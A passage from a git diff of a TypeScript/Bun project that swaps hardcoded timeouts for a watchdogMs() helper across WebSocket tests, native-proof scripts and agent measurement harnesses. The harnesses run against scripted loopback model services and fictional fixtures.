"../../../scripts/test-deadlines"; /** #3071: real socket admission, backend application policy and parent effects. * Speech and worker inference are scripted; application/permission/index paths * execute production code against an isolated fictional corpus. */ @@ -23,7 +24,7 @@ import { testPrincipal } from "./helpers/principal.js"; const { createFixtureHostBoundary } = installNativeHostFixtures(); async function until(predicate: () => boolean): Promise { - const deadline = Date.now() + 5000; + const deadline = Date.now() + watchdogMs(5000); while (!predicate()) { if (Date.now() > deadline) throw new Error("Expected host policy milestone was not reached"); await new Promise(resolve => setTimeout(resolve, 5)); diff --git a/packages/ui-server/tests/ws-turn-journal.test.ts b/packages/ui-server/tests/ws-turn-journal.test.ts index 6edf316ae2..f82745a5f7 100644 --- a/packages/ui-server/tests/ws-turn-journal.test.ts +++ b/packages/ui-server/tests/ws-turn-journal.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { installFixtureNativeStartupViews } from "./helpers/fixture-native-startup.js"; installFixtureNativeStartupViews(); import { createNativeJournalFixture } from "./helpers/native-journal-fixture.js"; @@ -54,7 +55,7 @@ test("host admission, tool completion and terminal observation produce scoped re await handlers.onOpen(undefined as never, ws); handlers.onMessage({ data: JSON.stringify({ type: "chat_message", text: "Record the return to Ithaca", requestId: "journal-request" }) } as MessageEvent, ws); const frames = () => sent.flatMap(text => { const parsed = parseServerMessage(text); if (!parsed.ok) throw new Error(parsed.error); return [parsed.message]; }); - const wait = async (check: () => boolean) => { const until = Date.now() + 5000; while (!check()) { if (Date.now() > until) throw new Error(JSON.stringify(frames())); await Bun.sleep(5); } }; + const wait = async (check: () => boolean) => { const until = Date.now() + watchdogMs(5000); while (!check()) { if (Date.now() > until) throw new Error(JSON.stringify(frames())); await Bun.sleep(5); } }; await wait(() => frames().some(frame => frame?.type === "tool_result")); await wait(() => frames().some(frame => frame.type === "turn_journal" && (frame.journal.changedFiles ?? 0) > 0)); const toolReceipt = frames().findLast(frame => frame.type === "turn_journal"); @@ -119,7 +120,7 @@ test("a real mid-turn journal capacity stop emits the named failure and an error const handlers = createWsHandlers(host, principal); await handlers.onOpen(undefined as never, ws); handlers.onMessage({ data: JSON.stringify({ type: "chat_message", text: "Record the voyage", requestId: "overflow-request" }) } as MessageEvent, ws); const frames = () => sent.map(text => JSON.parse(text)); - const deadline = Date.now() + 5000; + const deadline = Date.now() + watchdogMs(5000); while (!frames().some(frame => frame.type === "turn_journal" && frame.journal.state === "partial") || host.coordinator.isTurnActive()) { if (Date.now() > deadline) throw Error(JSON.stringify(frames())); await Bun.sleep(5); } const failure = frames().find(frame => frame.type === "error"); expect(failure, "JOURNAL_HOST_OVERFLOW_NAMED_FAILURE").toMatchObject({ code: "JOURNAL_CAPACITY", failure: { errorClass: "journal_capacity" } }); @@ -161,7 +162,7 @@ test("the host observes after a tool result unless the backend proved where that const handlers = createWsHandlers(app.wsHost, principal), sent: string[] = [], ws = { send: (text: string) => sent.push(text), close() {}, readyState: 1 } as WSContext; await handlers.onOpen(undefined as never, ws); handlers.onMessage({ data: JSON.stringify({ type: "chat_message", text: "Read the return to Ithaca", requestId: "schedule-request" }) } as MessageEvent, ws); - const until = Date.now() + 10_000; + const until = Date.now() + watchdogMs(10_000); while (!sent.some(text => JSON.parse(text).type === "turn_journal" && JSON.parse(text).journal.state === "complete")) { if (Date.now() > until) throw new Error(sent.join("\n")); await Bun.sleep(5); } expect(counts, "HOST_SCHEDULE_BY_PROVEN_EXECUTION_PATH").toEqual({ "read-proven": 0, "base-proven": 0, "read-unproven": 1, "read-after-unproven": 1 }); } finally { await app.close(); broker.close(); await native.close(); await rm(root, { recursive: true, force: true }); } @@ -193,7 +194,7 @@ test("an automatically admitted conversation task keeps real effects, receipts a const sent: any[] = [], ws = { send: (text: string) => sent.push(JSON.parse(text)), close() {}, readyState: 1 } as WSContext; const handlers = createWsHandlers(app.wsHost, principal); await handlers.onOpen(undefined as never, ws); const send = (frame: unknown) => handlers.onMessage({ data: JSON.stringify(frame) } as MessageEvent, ws); - const wait = async (check: () => boolean) => { const end = Date.now() + 10_000; while (!check()) { if (Date.now() > end) throw new Error(JSON.stringify(sent)); await Bun.sleep(5); } }; + const wait = async (check: () => boolean) => { const end = Date.now() + watchdogMs(10_000); while (!check()) { if (Date.now() > end) throw new Error(JSON.stringify(sent)); await Bun.sleep(5); } }; send({ type: "conversation_start", contextualTasks: true, disclosed:app.wsHost.conversations!.profile(true) }); await wait(() => sent.some(f => f.type === "conversation_opened")); const opened = sent.find(f => f.type === "conversation_opened"); send({ type: "conversation_audio", conversationId: opened.conversationId, epoch: opened.epoch, utteranceId: "watch-capture", sequence: 0, rate: 16000, pcm: "AAA=" }); diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index ad01d33dbc..8e92c773a8 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; import { nativeScriptedService } from "./test-native-guard.ts"; /** #587: capture the installed CLI's request using a loopback scripted model. @@ -94,7 +95,7 @@ export async function captureSurface(control?: { } }); nativeScriptedService(server.url.origin); const abortController = new AbortController(); - const timeout = setTimeout(() => abortController.abort(), 30_000); + const timeout = setTimeout(() => abortController.abort(), watchdogMs(30_000)); let completion: string | undefined; let gateRefusal: string | undefined; let cliVersion: string | undefined; diff --git a/scripts/fixtures/claude-core-default-probe.ts b/scripts/fixtures/claude-core-default-probe.ts index 555d2c93f8..6ec9c22a6c 100644 --- a/scripts/fixtures/claude-core-default-probe.ts +++ b/scripts/fixtures/claude-core-default-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; import "../test-network-child-preload.ts"; import { nativeScriptedService } from "../test-native-guard.ts"; /** Actual core factory, actual bundled CLI, networkless fictional control only. */ @@ -34,13 +35,13 @@ for(const arm of ["allow","deny"]){ observedSpawn=(command:any,options:any)=>{ args=command;writeFileSync(join(output,arm+"-args.json"),JSON.stringify(command));const child:any=Reflect.apply(original,Bun,[command,options]);const [out,copy]=child.stdout.tee(),[err,errcopy]=child.stderr!.tee(); const collect=async(stream:any,path:string)=>{let text="",reader=stream.getReader(),decoder=new TextDecoder();for(;;){const {done,value}=await reader.read();if(done)break;appendFileSync(path,value);text+=decoder.decode(value,{stream:true});}return text+decoder.decode();};stdout=collect(copy,join(output,arm+"-stdout.jsonl"));stderr=collect(errcopy,join(output,arm+"-stderr.bin"));close=child.exited; - const watchdog=setTimeout(()=>{forcedKill=true;child.kill("SIGKILL");},20000);void child.exited.then(()=>clearTimeout(watchdog)); + const watchdog=setTimeout(()=>{forcedKill=true;child.kill("SIGKILL");},watchdogMs(20000));void child.exited.then(()=>clearTimeout(watchdog)); const sink=child.stdin!; return {stdout:out,stderr:err,exited:child.exited,kill:child.kill.bind(child),stdin:{write(chunk:any){stdin+=typeof chunk==="string"?chunk:Buffer.from(chunk).toString("utf8");writeFileSync(join(output,arm+"-stdin.jsonl"),stdin);return sink.write(chunk);},flush:sink.flush.bind(sink),end:sink.end.bind(sink)}}; }; let result:string|null=null,error:string|null=null;const events:any[]=[],runtimes:any[]=[]; - try{const runner=claudeRunner();result=arm==="allow"?await runner.runStreaming!("Inspect and maintain the fictional raft.",{cwd,onEvent:e=>events.push(e),onRuntime:r=>runtimes.push(r)}):await runner.run("Respect the operator's denied Write.",{cwd,timeoutMs:25000,onRuntime:r=>runtimes.push(r)});}catch(e){error=String(e);} + try{const runner=claudeRunner();result=arm==="allow"?await runner.runStreaming!("Inspect and maintain the fictional raft.",{cwd,onEvent:e=>events.push(e),onRuntime:r=>runtimes.push(r)}):await runner.run("Respect the operator's denied Write.",{cwd,timeoutMs:watchdogMs(25000),onRuntime:r=>runtimes.push(r)});}catch(e){error=String(e);} const [exitCode,rawStdout,rawStderr]=await Promise.all([close,stdout,stderr]);await server.stop(true); const record={arm,args,stdin,forcedKill,rawStdout,rawStderr,exitCode,result,error,events,runtimes,physical,bashMarker:existsSync(join(cwd,"bash-marker.txt")),bashContent:existsSync(join(cwd,"bash-marker.txt"))?readFileSync(join(cwd,"bash-marker.txt"),"utf8"):null,allowedContent:existsSync(join(cwd,"allowed.md"))?readFileSync(join(cwd,"allowed.md"),"utf8"):null,deniedWritten:existsSync(join(cwd,"denied.md")),ownedDrained:exitCode!==undefined&&rawStdout!==undefined&&rawStderr!==undefined};observations.push(record); } diff --git a/scripts/measure-claude-capability.ts b/scripts/measure-claude-capability.ts index b03323f3a1..8dcb3a31fa 100644 --- a/scripts/measure-claude-capability.ts +++ b/scripts/measure-claude-capability.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: keyless Sonnet 5.5 native metadata control. Run with loopback only. @@ -28,7 +29,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { nativeScriptedService(server.url.origin); let init: unknown, result: unknown, handshake: unknown; const controller = new AbortController(); -const deadline = setTimeout(() => controller.abort(), 20000); +const deadline = setTimeout(() => controller.abort(), watchdogMs(20000)); try { const stream = query({ prompt: "Reply with the fictional fixture sentence.", options: { cwd: root, abortController: controller, model: "claude-sonnet-5-5", permissionMode: "default", settingSources: [], maxTurns: 1, diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 85255188fb..d08efdd678 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. @@ -97,7 +98,7 @@ nativeScriptedService(server.url.origin); } }); }; const controller = new AbortController(); - const deadline = setTimeout(() => controller.abort(), 20000); + const deadline = setTimeout(() => controller.abort(), watchdogMs(20000)); const worker = createMeasurementWorkerFixture(cwd, home); try { const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-5-5", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ...CLEARED_API_CREDENTIALS, diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index 4a1f9b4a3d..1418ef368a 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; import { nativeFixtureDirectory, nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. @@ -71,7 +72,7 @@ try { let toolUseSeen = false, error: string | undefined; let matchingHooks: string[] = []; const controller = new AbortController(); - const deadline = setTimeout(() => controller.abort(), 20_000); + const deadline = setTimeout(() => controller.abort(), watchdogMs(20_000)); const worker = createMeasurementWorkerFixture(cwd, home); try { const observedQuery: typeof query = (params) => { diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index ee760dc18d..bcb017e808 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. @@ -25,7 +26,7 @@ const env = { ...CLEARED_API_CREDENTIALS, HOME: root, PATH: process.env.PATH ?? CLAUDE_CONFIG_DIR: join(root, "config"), CLAUDE_CODE_OAUTH_TOKEN: "", ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; const controller = new AbortController(); -const deadline = setTimeout(() => controller.abort(), 25_000); +const deadline = setTimeout(() => controller.abort(), watchdogMs(25_000)); const requests: Array> = []; const otherRequests: Array<{ path: string; method: string }> = []; let server: ReturnType | undefined; diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index 60d4d41259..1c097090f1 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -772,7 +772,7 @@ async function permissionCases(model: ReturnType): Promise // always starts after the release. const releasingHook = (release: string) => (record: HookRecorder): HookCallback => async (input) => { const call = record.start(input as PreToolUseHookInput); - await new Promise((r) => setTimeout(r, 300)); + await new Promise((r) => setTimeout(r, /* native-product-timing: Controlled hook-ordering stimulus; the RELEASE witness, not elapsed time, proves ordering. */ 300)); writeFileSync(release, ""); call.endedAt = performance.now(); return { continue: true }; diff --git a/scripts/measure-show-block.ts b/scripts/measure-show-block.ts index 7270903c8d..4a094b1b0d 100644 --- a/scripts/measure-show-block.ts +++ b/scripts/measure-show-block.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; /** * Measure the `show_block` call rate on the Claude backend, with and without @@ -497,7 +498,7 @@ export async function runTurn( const isolation: MeasurementToolAccess[] = []; const started = Date.now(); const abortController = new AbortController(); - const deadline = setTimeout(() => abortController.abort(), TURN_BUDGET_MS); + const deadline = setTimeout(() => abortController.abort(), watchdogMs(TURN_BUDGET_MS)); const kinds: string[] = []; const otherTools = new Set(); const suggestions: SuggestionTurn["suggestions"] = []; diff --git a/scripts/measure-turn-surface-live.ts b/scripts/measure-turn-surface-live.ts index 9aa64598e0..8301ea63a7 100644 --- a/scripts/measure-turn-surface-live.ts +++ b/scripts/measure-turn-surface-live.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; import {nativeScriptedService,nativeSyntheticCredential} from "./test-native-guard"; /** Private #587 research entrypoint. Never changes a production router/default. */ @@ -142,7 +143,7 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP const started = performance.now(), observation = new TurnObservation(started, SURFACE_MODEL); const beforeJev = jevReceipts.length; activeDeadline = new AbortController(); - const routingTimer = setTimeout(() => activeDeadline.abort(), 2000); + const routingTimer = setTimeout(() => activeDeadline.abort(), /* native-product-timing: Fixed experimental router decision budget; changing it changes the measured product behavior. */ 2000); const routing = classifySurface({ client: jev, prompt: task.test.prompt, previousTail: "", catalogue: { tools: measuredRoutingTools([...brain.tools, ...prepared.peer.tools]), skills: catalogue.skills }, enabled: task.arm !== "baseline", deadline: activeDeadline.signal, }).finally(() => clearTimeout(routingTimer)); @@ -151,7 +152,7 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP const bridge = gatedSurfaceServer("brain-ui", prepared.peer, decision); const core = gatedSurfaceServer("brain", brain, decision); const abort = prepared.turn.options.abortController!; - const timeout = setTimeout(() => abort.abort(), 180_000); + const timeout = setTimeout(() => abort.abort(), watchdogMs(180_000)); const admission = new SurfaceAdmission(abort, SURFACE_MODEL, runtime.claudeCode); const audit: MeasurementToolAccess[] = []; let rawResult: any, error: string | null = null, spawnedMs: number | null = null; @@ -224,7 +225,7 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP clearTimeout(timeout); clearTimeout(routingTimer); activeDeadline.abort(); turn?.spare.close(); abort.abort(); if (childExited) { - const killTimer = setTimeout(() => child?.kill("SIGKILL"), 5000); + const killTimer = setTimeout(() => child?.kill("SIGKILL"), watchdogMs(5000)); await childExited; clearTimeout(killTimer); } await bridge.instance.close(); await core.instance.close(); await brain.client.close(); await prepared.close(); diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts index 2e6ac15fd3..3ff902a8fa 100644 --- a/scripts/native-device-diagnostics.ts +++ b/scripts/native-device-diagnostics.ts @@ -1,6 +1,6 @@ /** Temporary identity-only metadata probe: fixed paths, no permissions changed. */ export function nativeDeviceMetadataCommand(command:readonly string[]):string[] { - return ["/usr/bin/python3","-I","-S","-c",'import os,sys\nfor path in ["/dev","/dev/urandom"]:\n try: os.stat(path)\n except OSError: pass\nos.execv(sys.argv[1],sys.argv[1:])',...command]; + return ["/usr/bin/python3","-I","-S","-c",'import os,sys\nfor path in ["/dev","/dev/urandom"]:\n try: os.stat(path)\n except OSError: pass\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; } export function nativeDeviceMetadata(trace:string):Array> { const records=new Map>(); diff --git a/scripts/native-proof/hosted-app.test.ts b/scripts/native-proof/hosted-app.test.ts index f0cadca98d..c9013e23d7 100644 --- a/scripts/native-proof/hosted-app.test.ts +++ b/scripts/native-proof/hosted-app.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; import { afterAll, expect, test } from "bun:test"; import { appendFileSync, chmodSync, existsSync, mkdirSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -33,7 +34,7 @@ const { serializeSigned } = await import(join(SOURCE, "node_modules/hono/dist/ut const NativeWebSocket = WebSocket as any; const sleep = (ms: number) => Bun.sleep(ms); async function until(check: () => boolean, deadlineMs = 20000) { - const end = performance.now() + deadlineMs; + const end = performance.now() + watchdogMs(deadlineMs); while (!check()) { if (performance.now() > end) throw Error("Probe wait deadline exceeded"); await sleep(10); } } test(`native hosted ${BACKEND} uid ${APP_UID} first/warm admission, health, WebSocket, Stop and cancellation`, async () => { @@ -129,7 +130,7 @@ print(json.dumps(result))`; while (!stop) { const start = performance.now(); try { - const response = await fetch(origin + "/api/health", { headers: { cookie }, signal: AbortSignal.timeout(1000) }); + const response = await fetch(origin + "/api/health", { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second application health and recovery responsiveness budget. */ 1000) }); health.push({ elapsedMs: performance.now() - start, status: response.status, timeout: false }); await response.body?.cancel(); } catch (error) { health.push({ elapsedMs: performance.now() - start, timeout: true, error: String(error) }); } await sleep(50); @@ -154,14 +155,14 @@ print(json.dumps(result))`; const ack = sender.frames.find(f => f.type === "session_info" && f.requestId === requestId)!; expect(ack.workerProfile?.actualProfile, "NATIVE_ADMITTED_GOVERNED_PROFILE").toBe("governed"); sid = ack.sessionId; turnId = ack.turnId; - ackRecovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(1000) }).then(r => r.json()); + ackRecovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second application health and recovery responsiveness budget. */ 1000) }).then(r => r.json()); durableAckMs = performance.now() - begin; await until(() => sender.frames.some(f => f.type === "result" && f.receiptAt >= begin && f.sessionId === (sid ?? f.sessionId)) || sender.frames.some(f => f.type === "error" && f.receiptAt >= begin && f.requestId === requestId), 45000); // Visible result/journal frames precede final durable settlement and slot release. await until(() => sender.frames.some(f => f.type === "turn_journal" && f.turnId === ack.turnId && f.journal?.state === "complete") && eventLog.read("turn-settlement").some(row => row.kind === "session_slot_released" && row.turnId === ack.turnId),10000); expect(sender.frames.filter(f => f.type === "turn_journal" && f.turnId === ack.turnId).every(f => f.journal?.profile === "governed"), "NATIVE_JOURNAL_GOVERNED_PROFILE").toBe(true); - recovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(1000) }).then(r => r.json()); + recovery = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second application health and recovery responsiveness budget. */ 1000) }).then(r => r.json()); } catch (error) { completed = false; phaseError = String(error); } finally { stop = true; clearInterval(pingTimer); await probe; } @@ -184,7 +185,7 @@ print(json.dumps(result))`; sender = await device(); sender.ws.send(JSON.stringify({ type: "session_resume", sessionId: sid })); await until(() => sender.frames.some(f => f.type === "session_info" && f.sessionId === sid)); - const recovered = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(1000) }).then(r => r.json()); + const recovered = await fetch(origin + `/api/sessions/${sid}/recovery`, { headers: { cookie }, signal: AbortSignal.timeout(/* native-product-timing: Fixed one-second application health and recovery responsiveness budget. */ 1000) }).then(r => r.json()); expect(recovered.latest?.requestId, "RECONNECT_RECOVERS_SAME_ACCEPTED_REQUEST").toBe(requestId); expect(recovered.latest?.state, "RECONNECT_RECOVERS_TERMINAL_REQUEST").toBe("terminal"); await sleep(200); @@ -520,7 +521,7 @@ print(json.dumps(result))`; let forcedCleanup = false; let cleanupTimer: ReturnType | undefined; const code = await Promise.race([child.exited, new Promise(resolve => { - cleanupTimer = setTimeout(() => { forcedCleanup = true; child.kill("SIGKILL"); void child.exited.then(resolve); }, 45000); + cleanupTimer = setTimeout(() => { forcedCleanup = true; child.kill("SIGKILL"); void child.exited.then(resolve); }, watchdogMs(45000)); })]); clearTimeout(cleanupTimer); descendants?.close(); @@ -742,7 +743,7 @@ if (BACKEND === "pi" && APP_UID === 0) test("every native manager check still re } expect(inspectors() - launchedBefore, "NATIVE_MANAGER_ONE_IDENTITY_INSPECTOR").toBe(1); // The shared interpreter answers exactly as a fresh launch of the same program does. - const inspector = createNativeIdentityInspector({ python: "/usr/bin/python3", env: { PATH: "/usr/bin:/bin", LC_ALL: "C", LANG: "C" }, timeoutMs: 30_000, maximumBytes: 65_536 }); + const inspector = createNativeIdentityInspector({ python: "/usr/bin/python3", env: { PATH: "/usr/bin:/bin", LC_ALL: "C", LANG: "C" }, timeoutMs: watchdogMs(30_000), maximumBytes: 65_536 }); try { for (const [program, path] of [["root", brain], ["loop", "/dev/brain-native-proof-loop"]] as const) { const fresh = Bun.spawnSync(["/usr/bin/python3", "-I", "-S", "-c", program === "root" ? NATIVE_ROOT_INSPECTION : NATIVE_LOOP_INSPECTION, path], { env: { PATH: "/usr/bin:/bin", LC_ALL: "C", LANG: "C" }, cwd: "/" }); diff --git a/scripts/native-proof/mcp-search-worker.ts b/scripts/native-proof/mcp-search-worker.ts index 1104951c6d..4fe482db1b 100644 --- a/scripts/native-proof/mcp-search-worker.ts +++ b/scripts/native-proof/mcp-search-worker.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; /** * Inside an actual strict Claude worker (#2848): the brain's own MCP server, * started as the brain's `.mcp.json` starts it (with `BRAIN_ROOT` pinned to @@ -20,7 +21,7 @@ void (async () => { const send = (method: string, params: unknown) => new Promise>>[0]>(done => { waiting.set(++id, done); child.stdin.write(`${JSON.stringify({ jsonrpc: "2.0", id, method, params })}\n`); child.stdin.flush(); }); -const timer = setTimeout(() => { child.kill("SIGKILL"); console.log(JSON.stringify({ error: "the brain MCP server did not answer within 60 s" })); process.exit(1); }, 60_000); +const timer = setTimeout(() => { child.kill("SIGKILL"); console.log(JSON.stringify({ error: "the brain MCP server did not answer within 60 s" })); process.exit(1); }, watchdogMs(60_000)); try { await send("initialize", { protocolVersion: "2025-06-18", capabilities: {}, clientInfo: { name: "odysseus-native-worker", version: "0" } }); child.stdin.write(`${JSON.stringify({ jsonrpc: "2.0", method: "notifications/initialized" })}\n`); child.stdin.flush(); diff --git a/scripts/native-proof/native-release-observation.ts b/scripts/native-proof/native-release-observation.ts index c8a4ec8cca..e05712c0bd 100644 --- a/scripts/native-proof/native-release-observation.ts +++ b/scripts/native-proof/native-release-observation.ts @@ -93,7 +93,7 @@ export function nativeReleaseObservations(directory: string) { const root = roots.get(argv[4]!); if (!root) return; return child => { const started = performance.now(), samples: ReturnType[] = [], signals: object[] = []; - const timers = [1_000, 5_000, 15_000].map(delay => setTimeout(() => samples.push(snapshot(root, child.pid)), delay)); + const timers = [1_000, 5_000, 15_000].map(delay => setTimeout(() => samples.push(snapshot(root, child.pid)), /* native-product-timing: Fixed diagnostic sampling offsets, not a completion watchdog. */ delay)); const descriptor = Object.getOwnPropertyDescriptor(child, "kill"), originalKill = child.kill; Object.defineProperty(child, "kill", { configurable: true, value(signal?: NodeJS.Signals | number) { const evidence = { signal: signal ?? "SIGTERM", at: performance.now(), wallAt: Date.now(), abort: currentAbort, stack: new Error("Native release termination").stack?.slice(0, 4096) }; diff --git a/scripts/native-proof/provider-index.native.ts b/scripts/native-proof/provider-index.native.ts index 47c0151ca0..75e88a1c72 100644 --- a/scripts/native-proof/provider-index.native.ts +++ b/scripts/native-proof/provider-index.native.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; /** Provider-folder admission on real Btrfs, including the strict output keeper. */ import { expect } from "bun:test"; import { existsSync, linkSync, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; @@ -120,7 +121,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp env: { PATH: "/usr/local/bin:/usr/bin:/bin", BRAIN_ROOT: brain, HOME: "/tmp", NO_COLOR: "1" }, command: [process.execPath, "/repo/scripts/native-proof/provider-index-worker.ts", profile, `${info.dev}:${info.ino}`, `applied:${applied}:notes/provider-applied-${profile}.md`, peerTree] }; const result = await (async () => { - const worker = launchAgentWorker(launch), timer = setTimeout(() => worker.kill("SIGKILL"), 30_000); + const worker = launchAgentWorker(launch), timer = setTimeout(() => worker.kill("SIGKILL"), watchdogMs(30_000)); worker.stdin.end(); const stdout = text(worker.stdout), stderr = text(worker.stderr); let code: number; @@ -188,7 +189,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp ...(prepared ? { startupView: prepared.view, preparedOutput: prepared } : {}), stateBytes: MIB, turnTempBytes: 16 * MIB, env: { PATH: "/usr/local/bin:/usr/bin:/bin", BRAIN_ROOT: brain, HOME: "/tmp", NO_COLOR: "1" }, command: [process.execPath, "/repo/scripts/native-proof/provider-index-worker.ts", profile, index, "allowed"] }); - const timer = setTimeout(() => worker.kill("SIGKILL"), 30_000); + const timer = setTimeout(() => worker.kill("SIGKILL"), watchdogMs(30_000)); worker.stdin.end(); const stdout = text(worker.stdout), stderr = text(worker.stderr); let code: number; diff --git a/scripts/native-proof/reference-efficiency-crash-child.ts b/scripts/native-proof/reference-efficiency-crash-child.ts index 14229a4ddd..6f9b60e609 100644 --- a/scripts/native-proof/reference-efficiency-crash-child.ts +++ b/scripts/native-proof/reference-efficiency-crash-child.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; /** * The crashed app instance of case 19 (#3513). It opens the case's database * and the served pool, requests the pending changed refresh and is killed by @@ -13,7 +14,7 @@ import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server const [dbPath, socketPath, repository, principalId, clock] = process.argv.slice(2) as [string, string, string, string, string]; const db = createUiDb(dbPath); -const sources = createReferenceSources({ db, pool: createNativeBrainManagerClient({ socketPath, timeoutMs: 20_000 }), +const sources = createReferenceSources({ db, pool: createNativeBrainManagerClient({ socketPath, timeoutMs: watchdogMs(20_000) }), transport: createReferenceTransport({ brainPath: "/brain-fixture/brain" }), brain: "ithaca", credentials: {}, now: () => Number(clock), dependents: rootId => referenceWorktreeDependents(db, rootId) }); console.log("requesting"); diff --git a/scripts/native-proof/reference-integration.native.ts b/scripts/native-proof/reference-integration.native.ts index 9e8742de6f..0951c80072 100644 --- a/scripts/native-proof/reference-integration.native.ts +++ b/scripts/native-proof/reference-integration.native.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; /** * Integrated shared-reference and managed-worktree proof (#2751). Runs only * inside reference-pool-fixture.py, on its owned Btrfs store and reference @@ -79,7 +80,7 @@ function command(argv: string[], options: { cwd?: string } = {}): string { return result.stdout.toString(); } async function until(check: () => boolean, label: string, deadlineMs = 60_000) { - const end = performance.now() + deadlineMs; + const end = performance.now() + watchdogMs(deadlineMs); while (!check()) { if (performance.now() > end) throw Error(`Wait deadline exceeded: ${label}`); await Bun.sleep(25); } } const fsid = (path: string) => command(["btrfs", "filesystem", "show", "--raw", path]).split("uuid: ")[1]!.split(/\s/)[0]!; @@ -139,7 +140,7 @@ const service = await serveNativeBrainManager({ storePath: "/brain-fixture", dev capacityBytes: 4 * 1024 ** 3, recoveryReserveBytes: 16 * MIB, operationTimeoutMs: 20_000, referencePool: { storePath: POOL, devicePath: "/dev/brain-pool-loop", fsid: fsid(POOL), combinedLimitBytes: 256 * MIB, operationLimitBytes: 32 * MIB, emergencyBytes: 4 * MIB, physicalFloorBytes: 64 * MIB, headroomLedgerPath: "/native-backing/ledger/headroom.json", maxIdentities: 256 } }); -const manager = createNativeBrainManagerClient({ socketPath: socket, timeoutMs: 20_000 }); +const manager = createNativeBrainManagerClient({ socketPath: socket, timeoutMs: watchdogMs(20_000) }); const ready = await manager.ready(); note("native-ready", { ready }); const qualified = await manager.poolStatus(); @@ -217,7 +218,7 @@ async function run(backend: "claude" | "pi") { Bun.spawnSync(["sync"]); const before = poolIo(), began = performance.now(); const loops = [ - (async () => { while (running) { const at = performance.now(); const status = await fetch(origin + "/api/health", { signal: AbortSignal.timeout(10_000) }).then(response => response.status, () => 0); health.push({ turn, ms: performance.now() - at, status }); await Bun.sleep(100); } })(), + (async () => { while (running) { const at = performance.now(); const status = await fetch(origin + "/api/health", { signal: AbortSignal.timeout(watchdogMs(10_000)) }).then(response => response.status, () => 0); health.push({ turn, ms: performance.now() - at, status }); await Bun.sleep(100); } })(), (async () => { while (running) { const probeId = `odysseus-${backend}-${turn}-${probes++}`; pings.set(probeId, { turn, sent: performance.now() }); ws!.send(JSON.stringify({ type: "ping", probeId })); await Bun.sleep(200); } })(), // Read-only sysfs, never the manager: a second client polling it mid-turn would queue behind, and perturb, the app's own pool calls. (async () => { while (running) { const value = poolDiskUsed(); diff --git a/scripts/native-proof/reference-pool.native.ts b/scripts/native-proof/reference-pool.native.ts index 273a901a29..cd2f89b8f4 100644 --- a/scripts/native-proof/reference-pool.native.ts +++ b/scripts/native-proof/reference-pool.native.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; /** Real reference-pool qualification on owned 